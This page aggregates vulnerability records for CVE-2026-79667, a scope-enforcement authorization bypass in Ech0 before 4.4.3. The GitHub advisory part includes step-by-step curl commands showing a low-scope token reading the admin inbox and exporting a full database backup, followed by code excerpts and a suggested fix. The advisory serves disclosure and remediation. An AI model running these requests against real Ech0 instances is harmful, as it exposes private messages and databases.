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Ech0 before 4.4.3 Authentication Bypass via Scope Enforcement

Exploitation and risk

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cve-program · CVE-2026-79667

Published

Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.

Source published
25 Aug 2026 11:33:29 UTC
Source modified
25 Aug 2026 13:28:12 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 7.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

CVSS 3.1 · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

euvd · EUVD-2026-65447

Published

Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

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datePublished: Aug 25, 2026, 11:33:29 AM

dateUpdated: Aug 25, 2026, 1:28:12 PM

Source published
Aug 25, 2026, 11:33:29 AM (timezone not stated)
Source modified
Aug 25, 2026, 1:28:12 PM (timezone not stated)
Saved here
18 Nov 2026 04:39:23 UTC
Source terms
ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 7.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

nvd · CVE-2026-79667

Published

Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-285

Original publisher date fields

published: 2026-08-25T12:16:34.813

lastModified: 2026-08-31T20:50:15.927

Source published
25 Aug 2026 12:16:34 UTC
Source modified
31 Aug 2026 20:50:15 UTC
Saved here
25 Oct 2026 16:19:04 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 7.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

osv · GHSA-4h9q-p5j4-xvvh

Published

## Summary Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended. ## Impact An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to `/api/inbox` with a token scoped only for `echo:read` and successful backup export via `/api/backup/export?token=...`, which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive. ## Details The issue is caused by a split authorization model: - `JWTAuthMiddleware()` authenticates the token and stores scope metadata in the viewer context - `RequireScopes(...)` enforces least privilege, but only when a route explicitly adds it - several privileged routes omit `RequireScopes(...)` - multiple service methods then authorize using only `user.IsAdmin` `internal/middleware/scope.go` shows that scope enforcement is opt-in: ```go func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } if v.TokenType() != authModel.TokenTypeAccess { ... } if !containsValidAudience(v.Audience()) { ... } if !containsAllScopes(v.Scopes(), scopes) { ... } ctx.Next() } } ``` Representative privileged routes omit `RequireScopes(...)`, for example `internal/router/inbox.go`: ```go func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList()) appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox()) appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead()) appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox()) appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox()) } ``` Other source-confirmed unguarded privileged surfaces include: - `/api/panel/comments*` - `/api/addConnect` - `/api/delConnect/:id` - `/api/migration/*` - `/api/backup/export` Service-layer authorization often checks only admin role. For example, `internal/service/inbox/inbox.go`: ```go func (inboxService *InboxService) ensureAdmin(ctx context.Context) error { userid := viewer.MustFromContext(ctx).UserID() user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid) if err != nil { return err } if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } return nil } ``` The backup export path is a stronger variant because it discards token metadata before authorization. `internal/handler/backup/backup.go` reparses a query token and rebuilds a bare viewer from only the user ID: ```go func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { token := ctx.Query("token") claims, err := jwtUtil.ParseToken(token) if err != nil { ... } reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid)) if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... } return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS} }) } ``` This drops token type, scopes, audience, and token ID before the backup service runs. ## Proof of concept ### 1. Start the app ```bash docker run -d \ --name ech0 \ -p 6277:6277 \ -v /opt/ech0/data:/app/data \ -e JWT_SECRET="Hello Echos" \ sn0wl1n/ech0:latest ``` ### 2. Initialize an owner account ```bash curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass","email":"[email protected]"}' ``` ### 3. Log in as the owner and mint a low-scope access token ```bash owner_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/login" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' ) low_scope_admin_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $owner_token" \ -d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' ) ``` ### 4. Use the low-scope token on an unguarded admin route ```bash curl -sS "http://127.0.0.1:6277/api/inbox" \ -H "Authorization: Bearer $low_scope_admin_token" ``` Observed response: ```text {"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}} ``` ### 5. Use the same low-scope token on backup export ```bash curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token" ``` Observed response: <img width="585" height="111" alt="image" src="https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c" /> Try to unzip we will have log and database file: ``` ->% unzip a.zip -d a Archive: a.zip inflating: a/app.log inflating: a/ech0.db ``` ## Recommended fix Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims. Suggested route-level changes: ```go import ( "github.com/lin-snow/ech0/internal/handler" "github.com/lin-snow/ech0/internal/middleware" authModel "github.com/lin-snow/ech0/internal/model/auth" ) func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( "/inbox", middleware.RequireScopes(authModel.ScopeAdminSettings), h.InboxHandler.GetInboxList(), ) // Apply the same pattern to the remaining inbox routes. } func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( "/backup/export", middleware.RequireScopes(authModel.ScopeAdminSettings), h.BackupHandler.ExportBackup(), ) } ``` Suggested handler fix for `internal/handler/backup/backup.go`: ```go func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil { return res.Response{ Msg: "", Err: err, } } return res.Response{ Msg: commonModel.EXPORT_BACKUP_SUCCESS, } }) } ``` The same principle should be applied to other privileged services: do not authorize only on `user.IsAdmin`; also validate scopes carried by access tokens.

Source published
10 Apr 2026 19:39:46 UTC
Source modified
27 Aug 2026 04:10:42 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Publisher rating · HIGH

osv · GO-2026-5123

Published

Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.3.5.

Source published
25 Jun 2026 18:26:48 UTC
Source modified
27 Aug 2026 04:10:42 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 04:42 UTC · 272 of 275 readable · 268 fully read · documentation 469/469 current